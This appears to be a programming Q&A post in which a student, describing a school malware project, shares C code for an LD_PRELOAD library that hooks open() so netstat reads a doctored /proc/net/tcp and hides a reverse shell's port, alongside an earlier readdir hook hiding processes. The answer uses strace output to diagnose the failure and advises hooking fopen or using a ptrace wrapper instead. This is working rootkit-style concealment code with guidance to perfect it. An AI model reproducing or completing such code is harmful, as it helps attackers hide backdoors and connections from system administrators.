I already made a library that i override the readdir function and I use it to cover up some processes, and now am trying to override the open function, in order to hide a port that is opened, this is part of a project i have in school that i have to open a revershell connection and cover it up. netstat is using open function to read from /proc/net/tcp and display the open connections. I want when the /proc/net/tcp file is tryed to be opened to open a file that has all the contents of the /proc/net/tcp file but not the line that contains the port that i am connected with the reverse shell. The file is already made and is in this path /home/kali/Malware/project/hide_port/tcp.
I made this program in c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
static int (*original_open)(const char *pathname, int flags, ...) = NULL;
static int redirected_fd = -1;
int open(const char *pathname, int flags, ...) {
// Load the original open function if not loaded
if (!original_open) {
original_open = dlsym(RTLD_NEXT, "open");
if (!original_open) {
fprintf(stderr, "Error: Unable to load original open function\n");
return -1;
}
}
// Check if the file being opened is /proc/net/tcp
if (strcmp(pathname, "/proc/net/tcp") == 0) {
// If not already redirected, open the new file
if (redirected_fd == -1) {
redirected_fd = original_open("/home/kali/Malware/project/hide_port/tcp", O_RDONLY);
if (redirected_fd == -1) {
fprintf(stderr, "Error: Unable to open /home/kali/Malware/project/hide_port/tcp\n");
return -1;
}
}
// Return the redirected file descriptor
return redirected_fd;
} else {
// Call the original open function for other files
return original_open(pathname, flags);
}
}
and then i compile it like this
gcc -shared -fPIC -o libnetstat_hide.so hide_sshd.c -ldl
and am running the netstat like this but am still getting the line that reference to the connection
LD_PRELOAD=./libnetstat_hide.so netstat
What I did:
.so
and added debug printf
.netstat
using the LD_PRELOAD
open
function was not called (i.e. no debug printf
output).strace
strace
outputThe simple answer is that netstat
uses openat
and not open
for all its open calls.
Here is the partial strace
output:
914095 1700075180.092774 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3
914095 1700075180.709689 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3
914095 1700075181.104876 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.104939 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.104993 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.105047 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.105099 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp", O_RDONLY) = 3
914095 1700075181.105471 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp6", O_RDONLY) = 3
914095 1700075181.105813 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite", O_RDONLY) = 3
914095 1700075181.106036 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite6", O_RDONLY) = 3
914095 1700075181.106262 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw", O_RDONLY) = 3
914095 1700075181.106438 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw6", O_RDONLY) = 3
914095 1700075181.106630 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/unix", O_RDONLY) = 3
914095 1700075181.118744 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx/socket", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118799 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118853 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ax25", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118913 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/x25", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118965 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/nr", O_RDONLY) = -1 ENOENT (No such file or directory)
UPDATE:
I've done a bunch of testing. It appears that netstat
uses fopen
. So, overriding open
[et. al.] won't work because glibc's fopen
will use the internal version of open
. So, we'd probably need to intercept fopen
instead.
But, due to the way glibc
is constructed, the actual symbol is somewhat unclear. It could be fopen64
, with or without symbol versioning (e.g. fopen64@GLIBC_2.2.5
), _IO_new_fopen
or just fopen
.
A simpler way may be to run netstat
under a custom ptrace
program. That will intercept at the syscall level. It will catch things no matter what *open
call(s) netstat
uses.
See my answer:
Forcing pthread_create
to fail for test purposes for an example of how to intercept syscalls.